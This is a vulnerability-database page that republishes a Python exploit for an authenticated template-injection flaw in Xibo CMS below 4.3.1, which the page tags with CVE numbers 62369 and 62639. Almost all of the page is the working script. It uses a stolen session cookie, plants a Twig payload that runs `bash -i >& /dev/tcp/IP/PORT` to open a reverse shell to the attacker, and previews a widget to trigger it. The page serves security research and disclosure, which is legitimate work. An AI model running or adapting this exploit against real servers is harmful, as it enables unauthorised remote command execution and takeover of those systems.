Lucene search
K

📄 Xibo CMS SSTI / Remote Code Execution

🗓️ 05 May 2026 00:00:00Reported by Cristian BranetType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 23 Views

Authenticated SSTI leak enables remote code execution in Xibo CMS allowing a reverse shell via CVE 2025 62639.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-62369
5 Nov 202501:36
circl
CNNVD
Xibo CMS 安全漏洞
4 Nov 202500:00
cnnvd
CVE
CVE-2025-62369
4 Nov 202521:18
cve
CVE
CVE-2025-62639
1 Jan 197600:00
cve
Cvelist
CVE-2025-62369 Xibo CMS: Remote Code Execution through module templates
4 Nov 202521:18
cvelist
Cvelist
CVE-2025-62639
1 Jan 197600:00
cvelist
Exploit DB
Xibo CMS 4.3.0 - RCE via SSTI
29 Apr 202600:00
exploitdb
EUVD
EUVD-2025-34947
18 Oct 202503:30
euvd
NVD
CVE-2025-62369
4 Nov 202522:16
nvd
NVD
CVE-2025-62639
18 Oct 202503:15
nvd
Rows per page
# Exploit Title: Xibo CMS - Authenticated Remote Code Execution via SSTI
    # Date: 2025-11-04
    # Exploit Author: Cristian Branet
    # Vendor Homepage: https://xibosignage.com/
    # Software Link: https://github.com/xibosignage/xibo-cms/
    # Version: < 4.3.1
    # Tested on: Linux (Ubuntu 22.04)
    # CVE : CVE-2025-62639
    # Article: https://cristibtz.github.io/posts/CVE-2025-62369/
    
    import requests, argparse, pyfiglet, re, json, time
    
    parser = argparse.ArgumentParser(description="This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    parser.add_argument("-u", "--url", required=True, help="Xibo CMS server URL (e.g., http://localhost)")
    parser.add_argument("-s", "--session-key", required=True, help="Use the PHPSESSID")
    parser.add_argument("-i", "--ip", required=True, help="IP address for reverse shell")
    parser.add_argument("-p", "--port", required=True, help="Port for reverse shell")
    
    class Exploit:
        
        def __init__(self, url, session, ip, port):
            self.url = url
            self.session = session
            self.ip = ip
            self.port = port
            self.headers = {
                "Cookie": f"PHPSESSID={session}",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
            }
    
        def get_xsrf_token(self):
    
            try:            
                response = requests.get(f"{url}/statusdashboard", headers=self.headers)
            except Exception as e:
                print(f"Error connecting to {url}: {e}")
                exit(1)
    
            text = response.text
    
            pattern = r'name="token" content="([a-f0-9]+)"'
            
            try:
                xsrf_token = re.search(pattern, text).group(1)
            except Exception as e:
                print(f"Error extracting XSRF token: {e}")
                exit(1)
    
            return xsrf_token
    
        def create_module_template(self, xsrf_token):
    
            timestamp = int(time.time())
    
            headers = {
                "Cookie": f"PHPSESSID={session}",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
                "X-XSRF-TOKEN": f"{xsrf_token}",
                "X-Requested-With": "XMLHttpRequest"
            }
    
            data = {
                "templateId": f"exploit_poc_{timestamp}", 
                "title": "Template for PoC",
                "dataType": "article",
                "copyTemplateId": "",
                "showIn": "layout"
            }    
    
            try:
                response = requests.post(f"{self.url}/developer/template", data=data, headers=headers)
            except Exception as e:
                print(f"Error creating module template: {e}")
                exit(1)
    
            response_info = json.loads(response.text)
    
            template_id = response_info["id"]
    
            return template_id, timestamp, f"exploit_poc_{timestamp}"
    
    
        def update_module_template(self, xsrf_token, template_id, name):
    
            headers = {
                "Cookie": f"PHPSESSID={session}",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
                "X-XSRF-TOKEN": f"{xsrf_token}",
                "X-Requested-With": "XMLHttpRequest"
            }
    
            data = {
                "templateId":f"{name}",
                "title": f"Template for PoC - {name}",
                "dataType": "article",
                "showIn": "layout",
                "enabled": "on",
                "developer-template-properties": [],
                "properties": [],
                "twig": '<div style="background: red; color: white; font-size: 24px; padding: 20px;">Command Execution: {{["' + f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'" + '"]|filter(\'system\')}} <br></div>',
                "hbs": "",
                "style": "",
                "head": "",
                "onTemplateRender": "",
                "onTemplateVisible": "",
                "isInvalidateWidget": "on"
            }    
    
            try:
                response = requests.put(f"{self.url}/developer/template/{template_id}", data=data, headers=headers)
            except Exception as e:
                print(f"Error updating module template: {e}")
                exit(1)
    
            response_info = json.loads(response.text)
    
            return response_info["success"]
    
        def create_normal_template(self, xsrf_token):
    
            timestamp = int(time.time())
    
            headers = {
                "Cookie": f"PHPSESSID={session}",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
                "X-XSRF-TOKEN": f"{xsrf_token}",
                "X-Requested-With": "XMLHttpRequest"
            }
    
            data = {
                "folderId": 1,
                "name": f"exploit_poc_template_{timestamp}",
                "tags": "",
                "tagValueInput": "",
                "resolutionId": 1,
                "description": "Exploit template"
            }    
    
            try:
                response = requests.post(f"{self.url}/template", data=data, headers=headers)
            except Exception as e:
                print(f"Error creating normal template: {e}")
                exit(1)
    
            response_info = json.loads(response.text)
    
            template_id = response_info["id"]
            layout_id = response_info["data"]["layoutId"]
            region_id = response_info["data"]["regions"][0]["regionId"]
            playlist_id = response_info["data"]["regions"][0]["regionPlaylist"]["playlistId"]
    
            return template_id, layout_id, region_id, playlist_id
    
        def add_rss_widget(self, xsrf_token, playlist_id, name):
            
            headers = {
                "Cookie": f"PHPSESSID={session}",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
                "X-XSRF-TOKEN": f"{xsrf_token}",
                "X-Requested-With": "XMLHttpRequest"
            }
    
            data = {
                "templateId": f"{name}",
            }
    
            try:
                response = requests.post(f"{url}/playlist/widget/rss-ticker/{str(int(playlist_id) + 1)}", data=data, headers=headers)
            except Exception as e:
                print(f"Error adding RSS widget: {e}")
                exit(1)
        
            response_info = json.loads(response.text)
    
            widget_id = response_info["id"]
    
            return widget_id
    
        def preview_rss_widget(self, xsrf_token, widget_id, playlist_id):
            
            headers = {
                "Cookie": f"PHPSESSID={session}",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
                "X-XSRF-TOKEN": f"{xsrf_token}",
                "X-Requested-With": "XMLHttpRequest"
            }
    
            try:
                response = requests.get(f"{url}/playlist/widget/resource/{str(int(playlist_id) + 1)}/{widget_id}?preview=1&isEditor=1", headers=headers)
            except Exception as e:
                print(f"Error previewing RSS widget: {e}")
                exit(1)
    
            return response.status_code
    
    if __name__=="__main__":
        print("\n")
        print(pyfiglet.figlet_format("CVE-2025-62369 PoC", font="small", width=100))
        print("Author: Cristian Branet")
        print("GitHub: github.com/cristibtz")
        print("Description: This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.")
        print("\n")
    
        args = parser.parse_args()
        url = args.url
        session = args.session_key
        ip = args.ip
        port = args.port
    
        xibo_exploit = Exploit(url, session, ip, port)
    
        try:
            xsrf_token = xibo_exploit.get_xsrf_token()
        except Exception as e:
            print(f"Error getting XSRF token: {e}")
            exit(1)
        
        print("Retrieved XSRF token: ")
        print(xsrf_token)
    
        try:
            module_template_id, creation_time, name = xibo_exploit.create_module_template(xsrf_token)
        except Exception as e:
            print(f"Error creating module template: {e}")
            exit(1)
    
        print(f"Created module template with id: {module_template_id} with name: {name}")
    
        try:
            update_success = xibo_exploit.update_module_template(xsrf_token, module_template_id, name)
        except Exception as e:
            print(f"Error updating module template: {e}")
            exit(1)
    
        print(f"Updated module template with success: {update_success}")
    
        print("Creating normal template...")
    
        try:
            normal_template_id, layout_id, region_id, playlist_id = xibo_exploit.create_normal_template(xsrf_token)
        except Exception as e:
            print(f"Error creating normal template: {e}")
            exit(1)
        
        print("Created normal template with: ")
    
        print(f"Normal Template ID: {normal_template_id}")
        print(f"Layout ID: {layout_id}")
        print(f"Region ID: {region_id}")
        print(f"Playlist ID: {playlist_id}")
    
        print("Adding RSS widget to playlist...")
    
        try:
            widget_id = xibo_exploit.add_rss_widget(xsrf_token, playlist_id, name)
        except Exception as e:
            print(f"Error adding RSS widget: {e}")
            exit(1)
    
        print(f"Added RSS widget with ID: {widget_id}")
    
        print("Previewing RSS widget to trigger the exploit...")
    
        try:
            status_code = xibo_exploit.preview_rss_widget(xsrf_token, widget_id, playlist_id)
        except Exception as e:
            print(f"Error previewing RSS widget: {e}")
            exit(1)
    
        if status_code == 200:
            print("Exploit triggered successfully! Check your listener for a reverse shell.")
        else:
            print("Failed to trigger the exploit.")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 May 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.17.2
EPSS0.00509
SSVC
23